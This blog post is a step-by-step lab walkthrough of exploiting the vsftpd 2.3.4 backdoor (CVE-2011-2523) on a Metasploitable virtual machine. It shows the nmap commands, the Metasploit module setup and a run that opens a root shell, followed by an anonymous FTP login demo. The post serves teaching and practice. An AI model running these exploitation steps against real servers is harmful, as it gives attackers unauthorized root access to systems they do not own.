Vsftpd 2.3.4 Exploit Port 21/tcp open FTP | Step By Step Guide Amolblog

In this blog post I will explain How to exploit 21/tcp open FTP vsftpd 2.3.4 or exploit unix ftp vsftpd_234_backdoor or in Metasploitable virtual box machine.

In this article I will try to find port 21 vulnerabilities. This is backdoor bug which is find 5th Jul 2011 and author name is Metasploit.

CVE: 2011-2523

Table of Contents

Step 1 nmap run below command

nmap -T4 -A -p 21

-T4 for (-T<0-5>: Set timing (higher is faster)
-A for (-A: Enable OS detection, version detection, script scanning, and traceroute)
-p 21 for ( -p : Only scan 21 ports)

┌──(root💀root)-[~]
└─# nmap -T4 -A -p 21 192.xxx.xx.xx
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-13 09:04 UTC
Nmap scan report for 192.xxx.xx.xx
Host is up (0.00049s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.xxx.xx.xx
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
MAC Address: 08:00:xx:xx:xx:xx (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Unix

Using nmap we successfully find vsftpd vulnerabilities.

I strongly recommend if you don’t know about what is Port, Port 22, and FTP Service then please read the below article.

Port 21 | FTP | What is port.

Step 2 collect important information and Find vulnerability

Collect Important Information

nmap -T4 -A -p 21 after running this command you get all target IP port 21 information see below.

Port 21 FTP version 2.3.4 (21/tcp open ftp vsftpd 2.3.4 and | vsFTPd 2.3.4 – secure, fast, stable)
Operating system Linux ( Running: Linux 2.6.X and OS CPE: cpe:/o:linux:linux_kernel:2.6 )

Find vulnerability

Go to Internet browser and type exploit-db.com and just paste what information you got it.

See below screenshot.

Select Metasploit or Msfconsole Option.

Just collect important Information

Step 3 vsftpd 2.3.4 Exploit with msfconsole

Open your Terminal and just type msfconsole.
Then search as per version.

See below.

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

msf6 > exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   21               yes       The target port (TCP)

Set RHOSTS ( Target IP Address )

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.xxx.xx.xx
RHOSTS => 192.xxx.xx.xx

For confirmation type info then type run.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS  192.xxx.xx.xx    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   21               yes       The target port (TCP)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.xxx.xx.xx:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.xxx.xx.xx:21 - USER: 331 Please specify the password.
[+] 192.xxx.xx.xx:21 - Backdoor service has been spawned, handling...
[+] 192.xxx.xx.xx:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.xxx.xx.xx:6200) at 2021-01-13 09:23:44 +0000

You got shell.

For validation purpose type below command “whoami” and “hostname”

whoami
root
hostname
metasploitable

When we run nmap for port 21 enumeration then we know that Anonymous users already exist see below.

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.xxx.xx.xx
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status

As per my opinion FTP Anonymous Login is not Vulnerability.

Why does Server admin create Anonymous users?

The Server admin intentionally provides or shares Anonymous access to her employee because the server admin doesn’t want to create a new valid user due to security reasons or maybe he doesn’t trust her employee.

That’s why the server admin creates a public Anonymous user?

Firstly we need to understand what is File Transfer Protocol Anonymous Login?

User Name: anonymous
Password: anonymous

Using this username and password anyone can be logging on the File Transfer Protocol server.

If you want to login then you need FTP-Client Tool.

All Linux OS already have FTP-Client But you don’t have so please run below Two command.

sudo apt update

sudo apt install vsftpd

User below command try to login

Ftp-client Tool and host ip address or host name

ftp 192.xxx.xx.xxx

User Name: anonymous
Password: anonymous

See below

┌──(kali㉿kali)-[~/vm/metaspoitable_vm]
└─$ ftp 192.xxx.xx.xxx                                                                                                                                              1 ⚙
Connected to 192.xxx.xx.xxx.
220 (vsFTPd 2.3.4)
Name (192.xx.xx.xxx:kali): anonymous
331 Please specify the password.
Password:anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> help
Commands may be abbreviated.  Commands are:

!		dir		mdelete		qc		site
$		disconnect	mdir		sendport	size
account		exit		mget		put		status
append		form		mkdir		pwd		struct
ascii		get		mls		quit		system
bell		glob		mode		quote		sunique
binary		hash		modtime		recv		tenex
bye		help		mput		reget		tick
case		idle		newer		rstatus		trace
cd		image		nmap		rhelp		type
cdup		ipany		nlist		rename		user
chmod		ipv4		ntrans		reset		umask
close		ipv6		open		restart		verbose
cr		lcd		prompt		rmdir		?
delete		ls		passive		runique
debug		macdef		proxy		send
ftp> whoami
?Invalid command
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp>

If you want an anonymous ftp reverse shell then comment on my YouTube channel I will make a video and blog.

My YouTube Channel Name Amolblog

Channel link:

https://www.youtube.com/c/amolblog

Now you understand how to exploit but you need to also understand what is this service and how this work.